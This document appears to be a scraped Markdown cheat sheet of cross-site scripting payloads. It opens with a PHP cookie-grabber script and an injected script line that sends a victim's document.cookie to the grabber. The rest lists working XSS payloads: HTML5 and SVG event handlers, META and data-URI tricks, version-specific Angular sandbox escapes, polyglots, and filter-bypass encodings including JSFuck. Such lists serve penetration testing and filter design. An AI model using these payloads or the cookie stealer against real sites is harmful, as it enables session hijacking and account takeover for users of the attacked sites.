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569 lines
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19 KiB
Markdown
569 lines
No EOL
19 KiB
Markdown
# Cross Site Scripting
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Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
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## Exploit code or POC
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Cookie grabber for XSS
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```
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<?php
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// How to use it
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# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
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// Write the cookie in a file
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$cookie = $_GET['c'];
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$fp = fopen('cookies.txt', 'a+');
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fwrite($fp, 'Cookie:' .$cookie.'\r\n');
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fclose($fp);
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?>
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```
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## XSS in HTML/Applications
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XSS Basic
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```
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Basic payload
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<script>alert('XSS')</script>
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<scr<script>ipt>alert('XSS')</scr<script>ipt>
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"><script>alert('XSS')</script>
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"><script>alert(String.fromCharCode(88,83,83))</script>
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Img payload
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<img src=x onerror=alert('XSS');>
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<img src=x onerror=alert(String.fromCharCode(88,83,83));>
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<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
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<img src=x:alert(alt) onerror=eval(src) alt=xss>
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"><img src=x onerror=alert('XSS');>
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"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
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Svg payload
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<svg onload=alert(1)>
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<svg/onload=alert('XSS')>
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<svg/onload=alert(String.fromCharCode(88,83,83))>
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<svg id=alert(1) onload=eval(id)>
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"><svg/onload=alert(String.fromCharCode(88,83,83))>
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"><svg/onload=alert(/XSS/)
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```
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XSS for HTML5
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```
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<body onload=alert(/XSS/.source)>
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<input autofocus onfocus=alert(1)>
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<select autofocus onfocus=alert(1)>
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<textarea autofocus onfocus=alert(1)>
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<keygen autofocus onfocus=alert(1)>
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<video/poster/onerror=alert(1)>
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<video><source onerror="javascript:alert(1)">
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<video src=_ onloadstart="alert(1)">
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<details/open/ontoggle="alert`1`">
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<audio src onloadstart=alert(1)>
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<marquee onstart=alert(1)>
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```
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XSS in META tag
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```
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Base64 encoded
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<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
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<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
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With an additional URL
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<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
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```
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XSS in flash application
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```
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\%22})))}catch(e){alert(document.domain);}//
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"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
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"a")(({type:"ready"}));}catch(e){alert(1)}//
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```
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XSS in Hidden input
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```
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<input type="hidden" accesskey="X" onclick="alert(1)">
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Use CTRL+SHIFT+X to trigger the onclick event
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```
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DOM XSS
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```
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#"><img src=/ onerror=alert(2)>
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```
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## XSS in wrappers javascript and data URI
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XSS with javascript:
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```
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javascript:prompt(1)
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%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
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javascript:confirm(1)
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We can encode the "javacript:" in Hex/Octal
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\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
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\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
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\152\141\166\141\163\143\162\151\160\164\072alert(1)
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We can use a 'newline character'
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java%0ascript:alert(1) - LF (\n)
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java%09script:alert(1) - Horizontal tab (\t)
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java%0dscript:alert(1) - CR (\r)
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Using the escape character
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\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
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Using the newline and a comment //
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javascript://%0Aalert(1)
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javascript://anything%0D%0A%0D%0Awindow.alert(1)
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```
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XSS with data:
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```
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data:text/html,<script>alert(0)</script>
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data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
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```
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XSS with vbscript: only IE
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```
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vbscript:msgbox("XSS")
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```
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## XSS in files
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XSS in XML
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```
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<html>
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<head></head>
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<body>
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<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
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</body>
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</html>
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```
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XSS in SVG
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```
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
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<script type="text/javascript">
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alert(document.domain);
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</script>
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</svg>
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```
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XSS in SVG (short)
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```
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<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
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```
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XSS in SWF
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```
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Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
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IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
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IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
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InsecureFlashFile.swf
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location to url: InsecureFlashFile.swf?a=location&c=http://www.google.com/
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open url to new window: InsecureFlashFile.swf?a=open&c=http://www.google.com/
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http request to url: InsecureFlashFile.swf?a=get&c=http://www.google.com/
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eval js codz: InsecureFlashFile.swf?a=eval&c=alert(document.domain)
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```
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more payloads in ./files
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## XSS with Relative Path Overwrite - IE 8/9 and lower
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You need these 3 components
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```
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1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
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2) URL Rewriting.
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3) Relative addressing to CSS style sheet : ../style.css
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```
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A little example
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```
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http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
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<html>
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<head>
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<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
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<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
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</head>
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<body>
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Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
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</body>
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</html>
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```
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Explanation of the vulnerability
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```
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The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
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A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
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Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php
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Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3
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MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php
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From : http://www.thespanner.co.uk/2014/03/21/rpo/
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```
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## Mutated XSS for Browser IE8/IE9
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```
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<listing id=x><img src=1 onerror=alert(1)></listing>
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<script>alert(document.getElementById('x').innerHTML)</script>
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```
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IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
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## XSS in Angular
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Angular 1.6.0
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```
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{{0[a='constructor'][a]('alert(1)')()}}
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```
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Angular 1.5.9
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```
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{{
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c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
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c.$apply=$apply;c.$eval=b;op=$root.$$phase;
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$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
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C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
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B=C(b,c,b);$evalAsync("
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astNode=pop();astNode.type='UnaryExpression';
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astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
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astNode.argument={type:'Identifier',name:'foo'};
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");
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m1=B($$asyncQueue.pop().expression,null,$root);
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m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
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$eval('a(b.c)');[].push.apply=a;
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}}
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```
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Angular 1.5.0 - 1.5.8
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```
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{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
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```
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Angular 1.4.0 - 1.4.9
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```
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{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
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```
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Angular 1.3.20
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```
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{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
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```
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Angular 1.3.19
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```
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{{
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'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
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$eval('x=alert(1)//');
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}}
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```
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Angular 1.3.3 - 1.3.18
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```
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{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
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'a'.constructor.prototype.charAt=[].join;
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$eval('x=alert(1)//'); }}
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```
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Angular 1.3.1 - 1.3.2
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```
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{{
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{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
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'a'.constructor.prototype.charAt=''.valueOf;
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$eval('x=alert(1)//');
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}}
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```
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Angular 1.3.0
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```
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{{!ready && (ready = true) && (
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!call
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? $$watchers[0].get(toString.constructor.prototype)
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: (a = apply) &&
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(apply = constructor) &&
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(valueOf = call) &&
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(''+''.toString(
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'F = Function.prototype;' +
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'F.apply = F.a;' +
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'delete F.a;' +
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'delete F.valueOf;' +
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'alert(1);'
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))
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);}}
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```
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Angular 1.2.24 - 1.2.29
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```
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{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
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```
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Angular 1.2.19 - 1.2.23
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```
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{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
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```
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Angular 1.2.6 - 1.2.18
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```
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{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
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```
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Angular 1.2.2 - 1.2.5
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```
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{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
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```
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Angular 1.2.0 - 1.2.1
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```
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{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
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```
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Angular 1.0.1 - 1.1.5
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```
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{{constructor.constructor('alert(1)')()}}
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```
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## Polyglot XSS
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Polyglot XSS - 0xsobky
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```
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jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
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```
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Polyglot XSS - Ashar Javed
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```
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">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
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```
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Polyglot XSS - Mathias Karlsson
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```
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" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
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```
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Polyglot XSS - Rsnake
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```
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';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
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```
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## Filter Bypass and exotic payloads
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Bypass case sensitive
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```
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<sCrIpt>alert(1)</ScRipt>
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```
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Bypass quotes for string
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```
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String.fromCharCode(88,83,83)
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```
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Bypass quotes in script tag
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```
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http://localhost/bla.php?test=</script><script>alert(1)</script>
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<html>
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<script>
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<?php echo 'foo="text '.$_GET['test'].'";';`?>
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</script>
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</html>
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```
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Bypass quotes in mousedown event
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```
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<a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a>
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You can bypass a single quote with ' in an on mousedown event handler
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```
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Bypass dot filter
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```
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<script>window['alert'](document['domain'])<script>
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```
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Bypass parenthesis for string - Firefox
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```
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alert`1`
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```
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Bypass onxxxx= blacklist
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```
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<object onafterscriptexecute=confirm(0)>
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<object onbeforescriptexecute=confirm(0)>
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```
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Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
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```
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<img src='1' onerror\x00=alert(0) />
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<img src='1' onerror\x0b=alert(0) />
|
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```
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Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
|
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```
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<img src='1' onerror/=alert(0) />
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```
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Bypass space filter with "/" - IE/Firefox/Chrome/Safari
|
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```
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<img/src='1'/onerror=alert(0)>
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```
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Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
|
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```
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<img src='1' onerror='alert(0)' <
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```
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Bypass using javascript inside a string
|
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```
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<script>
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foo="text </script><script>alert(1)</script>";
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</script>
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```
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Bypass using an alternate way to execute an alert
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```
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<script>window['alert'](0)</script>
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<script>parent['alert'](1)</script>
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<script>self['alert'](2)</script>
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<script>top['alert'](3)</script>
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```
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Bypass using an alternate way to trigger an alert
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```
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var i = document.createElement("iframe");
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i.onload = function(){
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i.contentWindow.alert(1);
|
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}
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document.appendChild(i);
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// Bypassed security
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XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
|
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var proxy = obj[name];
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obj[name] = function () {
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if (exec_original) {
|
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return proxy.apply(this, arguments);
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}
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};
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XSSObject.lockdown(obj, name);
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};
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XSSObject.proxy(window, 'alert', 'window.alert', false);
|
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```
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Bypass ';' using another character
|
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```
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'te' * alert('*') * 'xt';
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'te' / alert('/') / 'xt';
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'te' % alert('%') % 'xt';
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'te' - alert('-') - 'xt';
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'te' + alert('+') + 'xt';
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'te' ^ alert('^') ^ 'xt';
|
||
'te' > alert('>') > 'xt';
|
||
'te' < alert('<') < 'xt';
|
||
'te' == alert('==') == 'xt';
|
||
'te' & alert('&') & 'xt';
|
||
'te' , alert(',') , 'xt';
|
||
'te' | alert('|') | 'xt';
|
||
'te' ? alert('ifelsesh') : 'xt';
|
||
'te' in alert('in') in 'xt';
|
||
'te' instanceof alert('instanceof') instanceof 'xt';
|
||
```
|
||
|
||
Bypass using Unicode
|
||
```
|
||
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
|
||
transformed into U+003C LESSTHAN SIGN (<)
|
||
|
||
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
|
||
transformed into U+0022 QUOTATION MARK (")
|
||
|
||
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
|
||
transformed into U+0027 APOSTROPHE (')
|
||
|
||
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
|
||
transformed into U+003C LESSTHAN SIGN (<)
|
||
|
||
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
|
||
transformed into U+0022 QUOTATION MARK (")
|
||
|
||
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
|
||
transformed into U+0027 APOSTROPHE (')
|
||
|
||
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
|
||
%EF%BC%9E becomes >
|
||
%EF%BC%9C becomes <
|
||
```
|
||
|
||
Bypass using unicode converted to uppercase
|
||
```
|
||
İ (%c4%b0).toLowerCase() => i
|
||
ı (%c4%b1).toUpperCase() => I
|
||
ſ (%c5%bf) .toUpperCase() => S
|
||
K (%E2%84%AA).toLowerCase() => k
|
||
|
||
<ſvg onload=... > become <SVG ONLOAD=...>
|
||
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
|
||
```
|
||
|
||
Bypass using overlong UTF-8
|
||
```
|
||
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
|
||
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
|
||
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
|
||
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
|
||
" = %CA%BA
|
||
' = %CA%B9
|
||
```
|
||
|
||
Bypass using UTF-7
|
||
```
|
||
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
|
||
```
|
||
|
||
Bypass using weird encoding or native interpretation to hide the payload (alert())
|
||
```javascript
|
||
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
|
||
<img src="1" onerror="alert(1)" />
|
||
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
|
||
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||
```
|
||
|
||
|
||
|
||
|
||
Exotic payloads
|
||
```
|
||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||
<script>$=1,alert($)</script>
|
||
<script ~~~>confirm(1)</script ~~~>
|
||
<script>$=1,\u0061lert($)</script>
|
||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||
<svg><x><script>alert('1')</x>
|
||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||
```
|
||
|
||
|
||
## Thanks to
|
||
* https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
|
||
* tbm
|
||
* http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html
|
||
* http://www.thespanner.co.uk/2014/03/21/rpo/
|
||
* http://blog.innerht.ml/rpo-gadgets/
|
||
* http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite
|
||
* http://d3adend.org/xss/ghettoBypass
|
||
* http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html |